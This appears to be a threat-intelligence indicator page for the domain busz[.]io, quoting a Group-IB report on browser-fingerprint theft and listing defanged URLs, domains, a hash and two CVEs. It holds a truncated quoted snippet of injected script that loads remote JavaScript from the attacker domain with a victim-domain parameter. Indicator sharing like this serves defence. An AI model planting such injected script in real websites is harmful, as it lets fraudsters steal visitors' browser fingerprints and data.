busz[.]ioDomain
Reported by 1 independent source · first reported by Group-IB · last reported
Last reported 20 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Fingerprint Heists: How your browser fingerprint can be stolen and used by fraudsters“<script type=”text/javascript” charset=”UTF-8″ src=”hxxps://busz[.]io/j9z3GfPd?pr=1&sub_id_2={victim_domain}”></script><script>if (!/Android|webOS|iPhone|iPad|BlackBerry|Windows Phone|Opera Mini|IEMobile|Mobile/i.test(navigator.userAgent)) document.addEventListener(“DOMContentLoade…”
Indicators reported together
named in the same reports- hxxps://busz[.]io/j9z3GfPd?pr=1&sub_id_2=in 1 report
- hxxps://busz[.]io/clientsafe.jsin 1 report
- hxxps://customfingerprints.bablosoft[.]com/savein 1 report
- customfingerprints.bablosoft[.]comin 1 report
- browserleaks[.]comin 1 report
- hxxps://busz[.]io/j9z3GfPd?pr=1in 1 report
- hxxps://screamedjungle[.]com/mjzNTg?pr=1in 1 report
- screamedjungle[.]comin 1 report
- hxxps://screamedjungle[.]com/clientsafe.jsin 1 report
- dcc1122bcf60d91a…f4647b2daecain 1 report
Copy these 10 indicators · defanged
Also named with it: CVE-2024-34102, CVE-2024-20720
Thanks — we review every report.